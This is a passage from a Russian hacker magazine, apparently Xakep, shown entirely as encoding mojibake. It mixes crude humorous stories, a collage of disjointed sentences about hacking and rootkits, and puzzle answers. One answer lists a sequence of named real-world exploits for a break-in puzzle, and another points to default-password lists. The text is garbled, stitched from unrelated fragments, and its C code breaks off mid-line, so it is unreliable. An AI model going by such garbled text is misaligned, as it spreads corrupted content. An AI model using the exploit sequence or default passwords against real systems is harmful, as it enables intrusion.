- Íå øóìèòå òîëüêî! ß ãðîìêóþ ñâÿçü âêëþ÷ó,<br />
÷òîáû âàì ñëûøíî áûëî! Ýíäæîé!!!<br />
ßíêà ñåëà, óñòðîèëàñü ïîóäîáíåå, ïðèñëîíèâøèñü<br />
ê ñòåíå, à Êîëÿ ëåã, ïîëîæèâ ãîëîâó åé íà<br />
êîëåíè.<br />
- Ëèíèÿ äîâåðèÿ, äîáðûé âå÷åð!<br />
- À ÿ òóäà ïîïàë<br />
- Íå çíàþ.<br />
- Ýòî ëèíèÿ äîâåðèÿ<br />
- Äà!<br />
- ß âàø ïëàêàò â ìåòðî óâèäåë. Òàì íàïèñàíî:<br />
"Âûõîä åñòü!". À ïî-ìîåìó íåò!<br />
- Êàê òåáÿ çîâóò<br />
- Ìàêñ.<br />
- Ñêîëüêî òåáå ëåò<br />
- 17.<br />
- Òàê, Ìàêñèì, è ïî÷åìó æå òû äóìàåøü, ÷òî âûõîäà<br />
íåò<br />
- ß íå ìîãó áðîñèòü äðî÷èòü ïî óòðàì!!!<br />
- Áðîñèòü ÷òî<br />
- ÄÐÎ×ÈÒÜ!!!<br />
- Íó, â ýòîì íåò íè÷åãî ñòðàøíîãî! Ïî÷òè âñå ðåáÿòà<br />
â òâîåì âîçðàñòå çàíèìàþòñÿ ìàñòóðáàöèåé<br />
- ýòî íîðìàëüíî.<br />
- À åùå ìíå èíîãäà êàæåòñÿ, ÷òî ÿ - ëåñíîé äÿòåë<br />
Âóäè Âóäïåêåð! Ýòî òîæå íîðìàëüíî!<br />
 îòâåò ðàçäàëèñü ëèøü ãðîìêèå ãóäêè... Ìàêñ<br />
ïî÷åñàë çàòûëîê è âçãëÿíóë íà äðóçåé:<br />
- Âîò äóðà! Áðîñèëà òðóáêó! Íà ñàìîì èíòåðåñíîì<br />
ìåñòå!!!<br />
LÀÌÀÐÀÇÌÛ<br />
Èíîãäà íàøè àâòîðû âûäàþò òàêèå øåäåâðû, ÷òî<br />
Æâàíåöêèé äîëæåíò ïîâåñèòüñÿ íà ñâîèõ ïîäòÿæêàõ<br />
 ñåãîäíÿøíåì ìàòåðèàëå ÿ áû õîòåë îñâÿòèòü âàæíûé<br />
àñïåêò âåá-, äà è, âïðî÷åì, ëþáîãî ïðîãðàììèðîâàíèÿ<br />
Âåäü åñëè âäðóã ïåðåñòàíóò ïîêàçûâàòüñÿ áàííåðû ïàðòíåðîâ<br />
è çàêàç÷èêîâ, íè÷åãî õîðîøåãî ýòîìó ÿâíî íå ñâåòèò.<br />
ïîýòîìó ÿ âêðàòöå îêóíóñü â èõ èñòîðèþ.<br />
Òàì ìàòåðèàë ïðåäñòàâëåí î÷åíü âíÿòíî è äîõîä÷èâî,<br />
òàê ÷òî äàæå îïûòíûé àäìèí ñìîæåò ïî÷åðïíóòü äëÿ ñåáÿ<br />
÷òî-òî íîâîå.<br />
Âåäü ïðîöåññ õàêà ìîæåò äëèòüñÿ íåñêîëüêèìè íåäåëÿìè,<br />
à òî è ìåñÿöàìè;<br />
âçëîìùèê äîâîëüíî ÷àñòî ñîäðîãàåòñÿ îò òåëåôîííûõ<br />
çâîíêîâ è íåæäàííûõ ãîñòåé.<br />
è âñå áåññîííûå íî÷è ïî ñáîðó äàííûõ, ñêàíèðîâàíèþ,<br />
âòîðæåíèþ, óéäóò â íèêóäà.<br />
ìîòèâèðóÿ îïëàòîé â âèäå êðóïíîé ñóììû â ñëó÷àå óñïåõà.<br />
Åñëè âñïîìíèòü ïîëóãîäè÷íûå âðåìåíà, òî íàøóìåâøèõ<br />
áàãîâ áûëî íåìíîãî...<br />
Óñòàíîâèâ ðóòêèò, åìó ïîä÷èíèëàñü âñÿ ñèñòåìà...<br />
Íî êèäèñ íå ñäàâàëñÿ è óñåðäíî äóìàë, ÷òî æå åùå ìîæíî<br />
ïðèäóìàòü.<br />
PHP-áàã íà ñåðâåðå òàê è íå îêàçàëñÿ çàïàò÷åííûì â òå-<br />
÷åíèè ïîëóãîäà.<br />
ñèñòåìà áûëà ïåðåóñòàíîâëåíà íà áîëåå íîâóþ<br />
Åñëè òû ïîäõîäèøü ê äåëó îñíîâàòåëüíî è ãîòîâ âëîæèòü<br />
âðåìÿ â óãîäó ýôôåêòèâíîñòè õîðîøèì ìåòîäîì, òåáå<br />
ìîæåò ïîìî÷ü "îáðàòíàÿ ñîöèàëüíàÿ èíæåíåðèÿ".<br />
Ñêîëü áû íå áûë íàñòîðîæåííûì èëè ïîäêîâàííûì<br />
æèçíüþ ÷åëîâåê,<br />
Ïîðåøèâ 15-õ äåòåé,<br />
Åñëè ó òåáÿ åñòü ïîäðóæêà ñ àíãåëüñêèì ãîëîñîì, óìåþùàÿ<br />
ðàçãîâàðèâàòü ñ ïàðíÿìè íà ìíîãîîáåùàþùèõ òîíàõ<br />
âîëåé-íåâîëåé ïðèäåòñÿ ïîéòè ó òîãî íà ïîâîäó ñîáûòèé.<br />
êîòîðûì ãëóáîêî íàïëåâàòü íà òî, ÷òî òû ñîìíåâàåøüñÿ<br />
â èõ íåêîìïåòåíòíîñòè,<br />
äîáèâàòüñÿ óñïåõà òàì, ãäå äðóãèå òîëüêî ðàçâåäóò ðóêè.<br />
Èòàê, ïîðÿäîê íàøèõ äåéñòâèé â æåñòêî ïðîíóìåðîâàííîì<br />
ïîðÿäêå:<br />
Ïîýòîìó íàñòîÿòåëüíî ðåêîìåíäóþ ïðåäâçÿòî è òðåçâî<br />
îöåíèâàòü ýòè ïàðàìåòðû ìîíèòîðà, íå ó÷èòûâàÿ âíåøíèé<br />
âèä è ïðèâëåêàòåëüíóþ öåíó.<br />
Èòàê, ðàññìîòðèì äâå çàïîäëÿíñêèå øòó÷êè, êîòîðûå<br />
æàæäóò ñâîåãî ïðèìåíåíèÿ íà æåðòâå.<br />
ñîçäàäèì ñëåäóþùóþ ïðîãðàììó íà C, ïðèìåðíî ñëåäóþùåãî<br />
ñîäåðæàíèÿ:<br />
Ýòà ñòàòüÿ íå çàñòàâëÿåò òåáÿ äåëàòü ÷òî-ëèáî ïðîòèâîçàêîííîå,<br />
à òîëüêî ïîêàçûâàåò î âîçìîæíîñòè òîé èëè<br />
èíîé ñèòóàöèè.<br />
5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8 Þíèòû 9 Quit> 107
Þíèòû<br />
ÕÓÌÎÐ<br />
Ïîíèìàåì!<br />
Âû õîòü ïîíèìàåòå,<br />
÷òî çà ãîâíî åäèòå<br />
Äàíèèë Øåïîâàëîâ<br />
Ïîâåëèòåëü ïñèõîìàòðèö ãåíåòè÷åñêè<br />
ìîäèôèöèðîâàííûõ îñëèêîâ<br />
(dan@real.xakep.ru , www.danya.ru)<br />
- Ôîêñè! À êòî ýòî ñ òîáîé<br />
Ôîêñè íàäóëà áîëüøîé ïóçûðü<br />
èç ðîçîâîé æåâàòåëüíîé<br />
ðåçèíêè, ëîïíóëà<br />
åãî è ëåãêîìûñëåííî<br />
áðîñèëà:<br />
- Ýòî Þäæèí. Îí èç<br />
×åõèè. Îí òàì âîäî÷íûé<br />
êîðîëü<br />
èëè ÷òî-òî òèïà<br />
òîãî.<br />
Þäæèí ïüÿíî ïîñìîòðåë<br />
íà Ôîêñè:<br />
- Ó ìåíÿ ôàáðèêà<br />
ïîä Ïðàãîé. Àáñåíò.<br />
- Íó, ôàáðèêà òàê ôàáðèêà,<br />
êàêàÿ ðàçíèöà.<br />
Ïîøëèòå âíóòðü ëó÷øå! -<br />
Ìàêñ âçÿë ßíêó è Ëåëèêà çà ðóêè<br />
è íàïðàâèëñÿ ê âõîäó.<br />
- Âàøè ïðèãëàøåíèÿ, ìîëîäûå ëþäè - âåæëèâî<br />
îñòàíîâèë åãî îõðàííèê.<br />
- Äà âû ÷òî, ñ óìà ñîøëè! Ìû æå Íîâûå Êîìïîçèòîðû!<br />
- Êòî<br />
- Íîâûå Êîìïîçèòîðû!!! ß - Âàëåðèé Àëàõîâ, à<br />
âîò ýòî - Ìàêñ íåîïðåäåëåííî ìàõíóë ðóêîé â<br />
ñòîðîíó îñòàëüíîé êîìïàíèè - Èãîðü Âîðîòíèêîâ!<br />
- À ÿ àáñåíòîâûé êîðî… - íà÷àë áûëî ïîâåñåëåâøèé<br />
Þäæèí, íî ñòîÿùàÿ âïåðåäè ßíêà áîëüíî<br />
ñòóêíóëà åãî ëîêòåì â æèâîò.<br />
- Õîðîøî, ïðîõîäèòå! - óñòàëî áðîñèë îõðàííèê.<br />
- Ãëàìóððð, - ïðîìóðëûêàëà â îòâåò Ôîêñè.<br />
- Äóðà! - îòðåçàë Ýïøòåéí. - Ãëàìóð - ýòî êîãäà<br />
ïüåøü Áàëòèêó N9 ó ìåòðî! Ãëàìóð, ïîçèòèâ, ïàôîñ,<br />
êðåàòèâ… òüôó, äðÿíü êàêàÿ!<br />
- Äåáèë! - çàäóì÷èâî ïðîòÿíóë Êîëÿ.<br />
- À òû… à òû… à òû ãëàìóðíûé äè-äæåé!!!<br />
- Ñàì äè-äæåé!<br />
Òóò íà ïîäóøêó ìåæäó äðóçüÿìè óïàëà ïîäîøåäøàÿ<br />
ñ êîêòåéëåì â ðóêàõ ßíêà:<br />
- Íåò â æèçíè ñ÷àñòüÿ!<br />
- Ïî÷åìó - ïîèíòåðåñîâàëñÿ Êîëÿ.<br />
- Íó, îòêóäà ÿ çíàþ. Íåò è âñå òóò! Âîò ðàññêàæè<br />
íàì î ñàìîì ñ÷àñòëèâîì ìîìåíòå òâîåé æèçíè!<br />
- Î'êåé. Êîãäà íàì ñ Ìàêñîì áûëî ïî 6 ëåò, ìû<br />
î÷åíü ëþáèëè ëàçàòü ïî ñâàëêàì. Âå÷åðîì ïîñëå<br />
äåòñêîãî ñàäà âñåãäà òàì òóñîâàëèñü è èñêàëè<br />
âñÿêóþ âñÿ÷èíó. Òàê âîò îäíàæäû ÿ<br />
íàøåë òàì íàñòîÿùóþ êàïèòàíñêóþ<br />
ôóðàæêó! Áåëóþ, íîâóþ - ïîëíûé<br />
óëåò! Öåëûé äåíü â íåé õîäèë è áûë<br />
áåçóìíî ñ÷àñòëèâ! À ïîòîì ýòîò<br />
ãàíäîí, - Êîëÿ ïîêàçàë íà Ýïøòåéíà,<br />
- ïðîìåíÿë åå íà êàêîãî-òî<br />
òðèòîíà.<br />
- Íå íà êàêîãî-òî, à íà êîðîëåâñêîãî!<br />
- âîçìóòèëñÿ Ìàêñ. - À ýòî<br />
ñóùåñòâåííî ìåíÿåò äåëî!<br />
- À ó ìåíÿ òîæå åñòü èñòîðèÿ ïðî<br />
ñ÷àñòüå! - îæèâèëñÿ Þäæèí. - Íå èç<br />
äåòñòâà, ïðàâäà, çàòî òîæå ìîðñêàÿ. ß<br />
òîãäà íà ôëîòå ñëóæèë, âòîðîé ìåñÿö<br />
òîëüêî. È âîò íàðÿä íà êàìáóçå, ãëóáîêàÿ<br />
íî÷ü, ìû ñ ñîñëóæèâöåì ñèäèì è ÷èñòèì âàííó<br />
ëóêà â ïîìåùåíèè ðàçìåðîì ÷åòûðå êâàäðàòíûõ<br />
- Âû õîòü ïîíèìàåòå, ÷òî çà<br />
ãîâíî åäèòå - Íå<br />
óíèìàëàñü ßíêà.<br />
- Ïîíèìàåì! - îòâåòèë Ìàêñ, äîæåâûâàÿ áèã-ìàê, -<br />
íî íè÷åãî ñ ñîáîé ïîäåëàòü íå ìîæåì! Çàòåì ïîäíÿë<br />
íàä ãîëîâîé ïàêåò ñ åäîé è çàêðè÷àë: Ñïàñèáî, Ãàìáóðãåð!!!<br />
Ñïàñèáî, Áîëüøàÿ Êàðòîøêà!!! Áîëüøàÿ Êîëà, ñïàñèáî<br />
òåáå!!!<br />
ßíêà ôûðêíóëà è êèíóëà â Ìàêñà ïóñòûì ñòàêàí÷èêîì èçïîä<br />
ìîëî÷íîãî êîêòåéëÿ. Îíè ñèäåëè íà àñôàëüòå îêîëî<br />
McDonald's, ïðèñëîíèâøèñü ñïèíîé ê ïðîçðà÷íîé âèòðèíå<br />
è âûòÿíóâ âïåðåä íîãè â ñòàðûõ êðîññîâêàõ. Ãäå-òî âäàëè<br />
áûëà âèäíà îæèâëåííàÿ òðàññà, ïî êîòîðîé íåñêîí÷àåìûì<br />
ñìàçàííûì ïîòîêîì íåñëèñü ÿðêèå<br />
îãíè. Íî÷ü. Âåòåð, ñèëüíûå ïîðûâû êîòîðîãî<br />
óíîñÿò îáðûâêè ñëîâ è ïëàñòèêîâûé<br />
ìóñîð.<br />
ìåòðà. Òóïûìè<br />
ñòîëîâûìè íîæàìè.<br />
×èñòèì, ðûäàåì,<br />
âñïîìèíàåì<br />
äîáðûì ñëîâîì<br />
ñïÿùèõ áîåâûõ<br />
òîâàðèùåé,<br />
ñòàðøèíó, âîåííîãî<br />
êîìèññàðà, ñâîèõ<br />
ðîäèòåëåé, Ãîñïîäèíà<br />
Êðèøíó è äðóãèõ ãðàæäàí.<br />
È âîò ãäå-òî ÷åðåç ÷àñ ïîñëå<br />
òîãî, êàê ìû óæå ïåðåñòàëè äóìàòü<br />
î ñóèöèäå, çàáåãàåò ê íàì êîëëåãàäîëá..á<br />
Ñåðåãà Èâàíîâ. È ãîâîðèò: òàê, ìîë, è òàê,<br />
ïàðíè, ïîéìàëè ìåíÿ ïðè ïîïûòêå ñàìîõîäà è<br />
íàïðàâèëè âìåñòî âàñ ëóê ÷èñòèòü. À äëÿ âàñ,<br />
äðóçüÿ, â ñîñåäíåì ïîìåùåíèè äâå âàííû êàðòîøêè<br />
ïðèãîòîâëåíî - äåðçàéòå. Âîò òîãäà-òî ÿ è<br />
ïåðåæèë ñ÷àñòëèâåéøèå ìãíîâåíèÿ â ñâîåé æèçíè.<br />
Êîãäà íàïîëíÿåòñÿ îíà âäðóã ñìûñëîì, ðàäîñòüþ<br />
è áîæåñòâåííîé êðàñîòîé…<br />
- À ÷òî ýòîò òâîé Ñåðãåé, äî÷èñòèë âàííó ëóêà -<br />
ñïðîñèëà ßíêà.<br />
- Íó, êàê ñêàçàòü. Çàêîí÷èëè ìû, çíà÷èò, ïîä óòðî<br />
óæå ñâîþ êàðòîøêó, íàïàðíèê ìîé íà÷àë èç<br />
øëàíãà ïîë ïîëèâàòü, à ÿ ïîøåë ïðîâåðèòü - êàê<br />
òàì Ñåðåãà. À âñå ýòî äåëî â ðûáíîì öåõå áûëî,<br />
òàì ïëàêàòû ïî ñòåíàì âèñåëè ðàçíûå, íà êîòîðûõ<br />
ïîêàçàíî, êàê ïðàâèëüíî ðûáó ðàçäåëûâàòü.<br />
È âîò, çíà÷èò, çàõîæó ÿ òóäà è âèæó Ñåðåãó, ñòîÿùåãî<br />
ó îäíîãî èç òàêèõ ïëàêàòîâ ñ ãðÿçíîé òðÿïêîé<br />
â ðóêàõ è óëûáàþùåãîñÿ, êàê Ìîíà Ëèçà.<br />
- Íó, êàê ó òåáÿ äåëà - ñïðàøèâàþ.<br />
À îí ïîâåðíóëñÿ, ïîñìîòðåë íà ìåíÿ ìíîãîçíà-<br />
÷èòåëüíî è ïðîèçíåñ òèõî òàê:<br />
- Ñåé÷àñ ÿ òåáÿ çàäóøó!<br />
È ìåäëåííî âïåðåä äâèíóëñÿ. È, çíàåøü, î÷åíü<br />
óáåäèòåëüíî îí ýòî ñêàçàë: ÿ åìó â òîò ìîìåíò<br />
ïîâåðèë ïî÷åìó-òî, ìèãîì èç ðûáíîãî öåõà<br />
âûñêî÷èë, è äâåðü çà ñîáîé íà çàñîâ çàêðûë. À óòðîì<br />
Ñåðåãó îñìîòðåë ïñèõèàòð, è åãî êîìèññîâàëè.<br />
- Äà, ãðóñòíàÿ èñòîðèÿ! - ïîäâåë èòîã Ìàêñ. - À ó<br />
ìåíÿ ñàìûå ñ÷àñòëèâûå ìãíîâåíèÿ áóäóò â æèçíè<br />
òîãäà, êîãäà êòî-íèáóäü ðàçáóäèò ìåíÿ óòðîì<br />
ìèíåòîì!<br />
- Òîæå ìíå, ñïÿùèé êðàñàâåö íàøåëñÿ! -<br />
ïðûñíóëà Ôîêñè.<br />
Ïîêà ÿ ñ âàìè òóò áóõàþ<br />
- ó ìåíÿ ôàáðèêó<br />
ñïèç..ëè!<br />
- Þäæèí, òû ÷åãî çàãðóñòèë - òîëêíóëà ïðèÿòåëÿ<br />
Ôîêñè.<br />
- Ïîêà ÿ ñ âàìè òóò áóõàþ - ó ìåíÿ ôàáðèêó ñïèç..ëè!<br />
- ×òî ñïèç..ëè - ðåøèë íà âñÿêèé ñëó÷àé óòî÷íèòü Êîëÿ.<br />
- Ôàáðèêó! - Þäæèí âûëèë â áîêàë ñ ïèâîì ñòîïêó âîäêè, ïåðåìåøàë ïëàñòèêîâîé òðóáî÷êîé è<br />
âûïèë çàëïîì. Çàòåì ïîäíÿëñÿ ñ ìåñòà è, çàìåòíî ïîêà÷èâàÿñü, îòïðàâèëñÿ â òóàëåò.<br />
Ìàêñ îáíÿë Ôîêñè:<br />
- Íó ÷òî, ïî õîäó òâîé äðóæîê äåðíóë êîêòåéëÿ "Ïðîùàé, ðåàëüíîñòü!"<br />
- Äà ëàäíî òåáå! Càì-òî íå ëó÷øå! - âñòóïèëñÿ Êîëÿ. - Äåâ÷îíêè, ïðèêèíüòå, îí íåäåëþ íàçàä íàæðàëñÿ ãäå-òî â ñàëàò è<br />
ìûñëè ñâîè íà äèêòîôîí çàïèñûâàë. ß ïðîñíóëñÿ - îí ìåðòâåöêè ïüÿíûé â êðåñëå ëåæèò, à äèêòîôîí íà ïîëó âàëÿåòñÿ.<br />
Íó, ÿ ïîäíÿë, ïåðåìîòàë íàçàä, âêëþ÷èë íà âîñïðîèçâåäåíèå. È çíàåøü, ÷òî òàì çàïèñàíî áûëî Ìèíóò äåñÿòü õîõîòà, à çàòåì<br />
ôðàçà "Íàäî ïðèäóìàòü öèôðîâûå ïðåçåðâàòèâû, ÷òîáû å..òü öèôðîâûõ òåòîê!".<br />
Ìàêñ óëûáíóëñÿ:<br />
- Íó è ÷òî Õîðîøàÿ ìûñëü, ìåæäó ïðî÷èì! À íàæðàëñÿ ÿ, êñòàòè, â ñîëÿðèè. Ïîøåë â ñîëÿðèé çàãîðàòü è âçÿë ñ ñîáîé âîäêó<br />
ñ ñîêîì. Íó âîò, ëåæó çíà÷èò, ïîòÿãèâàþ ïîòèõîíå÷êó ýòó áàéäó èç ôëÿãè: òåïëî, õîðîøî. À ìèíóò ÷åðåç 10 âîêðóã ñòàëè<br />
÷àéêè ëåòàòü, âîëíû ïëåùóòñÿ, ìóëàòêè ðÿäîì õîäÿò…<br />
- À ÿ îäíàæäû ïüÿíàÿ â ñòîëá âðåçàëàñü! - çàäóì÷èâî ñêàçàëà Ôîêñè. - Øëà äîìîé ñ âå÷åðèíêè è íå çàìåòèëà åãî.<br />
- Îé-îé-îé! Äîñòèæåíèå êàêîå! ß êàê-òî ðàç ïîøåë íà êóõíþ îãðûçîê îò ÿáëîêà âûáðàñûâàòü, à ïî ïóòè ðåøèë<br />
â òóàëåò çàñêî÷èòü - îòëèòü. È ÷òî æå òû äóìàåøü: âûêèíóë îãðûçîê â óíèòàç, à ïîòîì ïîøåë íà êóõíþ è<br />
íà÷àë îòëèâàòü â ìóñîðíîå âåäðî. Ñåêóíä ÷åðåç äåñÿòü îñîçíàë, ÷òî äåëàþ, íî áûëî óæå ïîçäíî…<br />
- Àëêîãîëèçì - ýòî îòâðàòèòåëüíî! - ïåðåáèëà Ýïøòåéíà ßíêà.<br />
- Êîíå÷íî, îòâðàòèòåëüíî! - ñîãëàñèëñÿ Ìàêñ, - Íî âñå îñòàëüíîå åùå îòâðàòèòåëüíåå!<br />
108 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì
Þíèòû<br />
X-PUZZLE<br />
Èâàí Ñêëÿðîâ (Sklyarov@real.xakep.ru)<br />
«ÏÐÎÉÄÈÑÜ ÄÅÁÀÃÃÅÐÎÌ ÏÎ ÑÂÎÈÌ ÌÎÇÃÀÌ!»<br />
Íå ñòåñíÿéñÿ ïðèñûëàòü ìíå ñâîè îòâåòû, äàæå åñëè òû ñìîã îòâåòèòü âñåãî<br />
íà îäèí ïàçë, ÿ ñ èíòåðåñîì ïî÷èòàþ òâîè îðèãèíàëüíûå ðåøåíèÿ. Íó, à<br />
èìåíà ãåðîåâ, êîòîðûå ïåðâûìè ïðàâèëüíî îòâåòÿò íà âñå âîïðîñû, êîíå÷íî<br />
æå, áóäóò îïóáëèêîâàíû â æóðíàëå, ÷åì ïðîñëàâÿòñÿ íà âñþ Ðîññèþ (è íå<br />
òîëüêî) è íàâå÷íî âîéäóò â èñòîðèþ Õ. Ïðèç çà íàìè íå çàðæàâååò. ;)<br />
Íî ïîìíè: â áîëüøèíñòâå ñëó÷àåâ âàðèàíò îòâåòà çàñ÷èòûâàåòñÿ êàê<br />
ïðàâèëüíûé, òîëüêî åñëè ê íåìó ïðèëîæåíî ïîäðîáíîå è ÂÅÐÍÎÅ<br />
îáúÿñíåíèå, ïî÷åìó âûáðàí èìåííî ýòîò âàðèàíò, à íå êàêîé-ëèáî äðóãîé.<br />
ÎÒÂÅÒÛ Ê ÏÐÅÄÛÄÓÙÅÌÓ ÂÛÏÓÑÊÓ X-PUZZLE<br />
«CRYPTFUCK V2.1»<br />
ÎÒÂÅÒ ÍÀ ÏÀÇË #1<br />
«Àäìèíîâñêèå ãëþêè»<br />
1 ãëþê: âðåìÿ íà ïàíåëè çàäà÷ è<br />
â FAR îòëè÷àåòñÿ.<br />
2 ãëþê: èíäèêàòîð ðàñêëàäêè<br />
êëàâèàòóðû íà ïàíåëè çàäà÷ ïîêàçûâàåò<br />
«En», íî òàêîå õàðàêòåðíî<br />
òîëüêî äëÿ Win9x ñèñòåì, îäíàêî<br />
íà ñêðèíøîòå ïîêàçàíà Windows<br />
XP, à âî âñåõ NT-ïîäîáíûõ ñèñòåìàõ<br />
ðàñêëàäêà ïîêàçûâàåòñÿ äâóìÿ<br />
çàãëàâíûìè áóêâàìè, ò.å.<br />
äîëæíî áûòü òàê: «EN».<br />
3 ãëþê: â WinAMP àêòèâåí çàãîëîâîê<br />
«WINAMP PLAYLIST». Â äàííîì<br />
ñëó÷àå òàêîãî áûòü íå ìîæåò.<br />
4 ãëþê: â WinAMP èãðàåò<br />
«Bucho’s Gracias», îäíàêî íà ïàíåëè<br />
çàäà÷ ïîêàçàíî «Bucho’s<br />
Gracios» (îòëè÷èå â ïðåäïîñëåäíåé<br />
áóêâå âòîðîãî ñëîâà).<br />
4 ïðèç<br />
5 ãëþê: íà ïàíåëè çàäà÷ ïîêàçàíî,<br />
÷òî â FAR’å îòêðûò äèñê {F\:},<br />
à â çàãîëîâêå îêíà óêàçàí ïóòü<br />
{F:\Program Files\Far}.<br />
6 ãëþê: â ëåâîé ïàíåëè FAR<br />
ñòðîêà ñîñòîÿíèÿ ïîêàçûâàåò, ÷òî<br />
ïðèñóòñòâóåò 31 ôàéë, êîãäà êàê<br />
èõ òàì âñåãî 30.<br />
7 ãëþê: â îêíå ââîäà êàëüêóëÿòîðà<br />
íàáðàíî 33 öèôðû, îäíàêî â<br />
ðåæèìå Dec ìîæíî âûâåñòè ìàêñèìóì<br />
32 öèôðû.<br />
ÎÒÂÅÒ ÍÀ ÏÀÇË #2<br />
«Ïîäñêàæè àéáîëó»<br />
Ýêñïëîèòû, êîòîðûå íóæíî èñïîëüçîâàòü,<br />
ïî ïîðÿäêó:<br />
1) apache-nosejob<br />
2) 7350854<br />
3) x2<br />
4) 7350fun<br />
5) 7350wurm<br />
6) q1telnet<br />
Hi, Ares! ;)<br />
ÎÒÂÅÒ ÍÀ ÏÀÇË #3<br />
«Âçëîì ïî äåôîëòó»<br />
A-7<br />
B-2<br />
C-4<br />
D-6<br />
E-8<br />
F-1<br />
G-5<br />
H-3<br />
Ñïèñîê íåêîòîðûõ äåôîëòîâûõ<br />
ïàðîëåé ìîæíî ïîñìîòðåòü, íàïðèìåð,<br />
çäåñü:<br />
www.astalavista.com/library/auditing/password/lists/defaultpasswords.shtml<br />
È ïîñëåäíèé ïðèç óëåòàåò îò íàñ<br />
íà áîëüøîì âîçäóøíîì øàðå ê<br />
Kilgur (kilgur@narod.ru). Ëîâè! :)<br />
Èç ïèñåì ÿ ïîíÿë, ÷òî ñàìûå<br />
ïîïóëÿðíûå ñðåäè ÷èòàòåëåé<br />
ïàçëû â îñíîâíîì ñâÿçàíû ñ<br />
êðèïòîãðàôèåé. Ïîýòîìó ÿ<br />
ïîñòàðàþñü ïî÷àùå âîçâðàùàòüñÿ<br />
ê ýòîé òåìå. Êîíå÷íî,<br />
ñëîæíûõ è çàìîðî÷åííûõ àëãîðèòìîâ<br />
ÿ ïðèäóìûâàòü íå<br />
áóäó, ò.ê. òåáå ïðèõîäèòñÿ<br />
îòãàäûâàòü ïàçëû â ñæàòûå<br />
ñðîêè, íî âîò òî, ÷òî çàäà÷è<br />
áóäóò ñ èçþìèíêîé, îáåùàþ.<br />
À òåïåðü ðàäóéñÿ! M.J.Ash<br />
ñêà÷àë âòîðîþ âåðñèþ ïðîãðàììû<br />
CryptFuck â íàäåæäå,<br />
÷òî ñåé÷àñ-òî îíà áóäåò ðàáîòàòü<br />
ëó÷øå. Îí íàáðàë â<br />
ïîëå ââîäà ñëîâî «Ivan» (áåç<br />
êàâû÷åê) è íàæàë êíîïêó<br />
Crypt, ïðîãðàììà âûäàëà<br />
ñëåäóþùèé øèôð:<br />
61112616626141261562<br />
Çàòåì îí íàáðàë «Sklyarov» è<br />
ïîëó÷èë ñëåäóþùèé øèôð:<br />
212312153121541217112141<br />
1216212157121661<br />
È ÷òî-òî îïÿòü íå ïîíðàâèëîñü<br />
âåäóùåìó ñàìîé âàðåçíîé<br />
ðóáðèêè. Ââåäÿ ïîñëåäíåå<br />
ñëîâî «Ash» è ïîñìîòðåâ<br />
íà ïîëó÷åííûé<br />
øèôð, M.J.Ash îêîí÷àòåëüíî<br />
ðàçãàäàë àëãîðèòì øèôðîâàíèÿ,<br />
ïîñëå ÷åãî åìó,<br />
êàê è â ïðîøëûé ðàç,<br />
ïðèøëîñü óäàëèòü ïðîãðàììó<br />
ñî ñâîåãî âèí÷åñòåðà<br />
(îí ñîâåðøåííî íå õîòåë<br />
ðåêîìåíäîâàòü ÷èòàòåëÿì<br />
ïðîãðàììó ñî ñòîëü íåñòîéêèì<br />
àëãîðèòìîì øèôðîâàíèÿ).<br />
Êàê «CryptFuck v2.1»<br />
çàøèôðîâàë ñëîâî «Ash»<br />
Íà ýòîò ðàç îòâåò ÿ çàñ÷èòàþ<br />
êàê ïðàâèëüíûé, òîëüêî<br />
åñëè ê íåìó áóäåò ïðèëîæåí<br />
ïðîãðàììíûé êîä, ðåàëèçóþùèé<br />
àëãîðèòì øèôðîâàíèÿ.<br />
Ïðîãðàììó ìîæíî<br />
ïèñàòü íà ëþáîì ÿçûêå<br />
ïðîãðàììèðîâàíèÿ (íàäåþñü,<br />
òû íå äèíîçàâð, êîòîðûé<br />
êîäèò íà Ôîðòðàíå èëè<br />
PL/1), íî ìîé âàðèàíò îòâåòà<br />
áóäåò íà C++.<br />
Æäåì âûõîäà òðåòüåé âåðñèè<br />
CryptFuck :).<br />
BH7<br />
Intel 845PE<br />
Âîçìîæíîñòü ðàçãîíà äî 800 Mhz FSB<br />
Ïîääåðæêà DDR 400<br />
Intel Hyper-Threading<br />
I6 êàíàëüíàÿ çâóêîâàÿ ïîäñèñòåìà<br />
3 ïðèç<br />
«GCC VS G++»<br />
Äâà ëàìåðà ïîñïîðèëè, ó êîãî<br />
òîëùå... õì... íåò, îá ýòîì<br />
â äðóãîé ðàç. Ïîñïîðèëè äâà<br />
ëàìåðà ïî ïîâîäó ñòàíäàðòíûõ<br />
íèêñîâûõ êîìïèëÿòîðîâ<br />
gcc è g++. Îäèí ëàìåð óòâåðæäàë,<br />
÷òî âñå ñâîè ïðîåêòû<br />
íà ÿçûêå Ñè îí êîìïèëèðóåò<br />
êîìïèëÿòîðîì gcc, à ïðîåêòû<br />
íà ÿçûêå C++ - êîìïèëÿòîðîì<br />
g++. Âòîðîé æå ëàìåð<br />
âîçðàçèë, ÷òî îí ÂÑÅ<br />
ñâîè ïðîåêòû íåçàâèñèìî îò<br />
ÿçûêà (Ñ èëè Ñ++) êîìïèëèðóåò<br />
èñêëþ÷èòåëüíî êîìïèëÿòîðîì<br />
gcc. Â îòâåò íà ýòî<br />
ïåðâûé ëàìåð ðàñõîõîòàëñÿ,<br />
íàçâàë âòîðîãî «êîí÷åíûì<br />
ëàìåðîì» è ñêàçàë, ÷òî ýòî<br />
ïðîñòî íåâîçìîæíî, ò. ê. gcc<br />
íå ìîæåò êîìïèëèðîâàòü<br />
ïðîãðàììû íà ÿçûêå C++, è<br />
â äîêàçàòåëüñòâî ïðèâåë<br />
ïðîñòåéøèé ïðèìåð íà ÿçûêå<br />
Ñ++:<br />
#include <br />
int main ()<br />
{<br />
cout
«ÈÑÏÐÀÂÜ ÁÀÃÈ»<br />
Íèæå ïðèâåäåíû ÷åòûðå ëèñòèíãà êîäà íà ÿçûêå<br />
Ñè, òâîÿ çàäà÷à - ïðàâèëüíî îïðåäåëèòü òèïû<br />
îøèáîê, ñîäåðæàùèõñÿ â íèõ (Format String,<br />
Heap Overflow, Integer Overflow, Buffer<br />
Overflow). È ýòî åùå íå âñå. Íåîáõîäèìî òàêæå<br />
âíåñòè èçìåíåíèÿ â êîä, êîòîðûå áû èçáàâëÿëè<br />
ïðîãðàììû îò ýòèõ áàãîâ, ïðè÷åì íè÷åãî<br />
óäàëÿòü íåëüçÿ, ìîæíî òîëüêî äîáàâëÿòü. ×åì<br />
ìåíüøå áóäåò äîáàâîê, òåì ëó÷øå.<br />
